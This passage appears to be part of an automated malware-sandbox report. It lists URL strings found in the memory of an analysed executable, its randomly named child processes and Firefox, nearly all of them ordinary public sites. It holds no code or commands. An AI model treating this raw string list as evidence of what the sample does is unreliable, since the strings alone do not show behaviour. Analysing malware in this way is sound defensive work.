Source: file.exe, 00000000.00000003.1743376640.0000000005908000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743319032.000000000590F000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A0000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1743376640.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.000000000541F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000015.00000003.2083482894.0000016C1390C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: 9b7d422018.exe, 0000001B.00000003.2658079737.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-PN
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learni
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learniMM
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895523136.0000000001142000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895440389.0000000001133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc6
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acces
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acces##
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.co
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 00000015.00000003.2082774032.0000016C139B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2200433230.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2232664376.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000015.00000003.2200433230.0000016C134B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2066570515.0000016C13754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2149764502.0000016C0C8F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000015.00000003.2230082437.0000016C139AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C139AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000015.00000003.2206170906.0000016C0CEF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000015.00000003.2078048238.0000016C0C464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2075754399.0000016C0C46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: file.exe, 00000000.00000003.1804587772.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247493220.0000016C0DBD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2552266562.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2697828819.000000000549E000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2736878196.000000000546C000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F54A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.1804587772.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247493220.0000016C0DBD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2552266562.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2697828819.000000000549E000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2736878196.000000000546C000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000015.00000003.2221556352.0000016C0C863000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2261053889.0000016C0B732000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2219940920.0000016C0B262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000015.00000003.2254541447.0000016C15A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
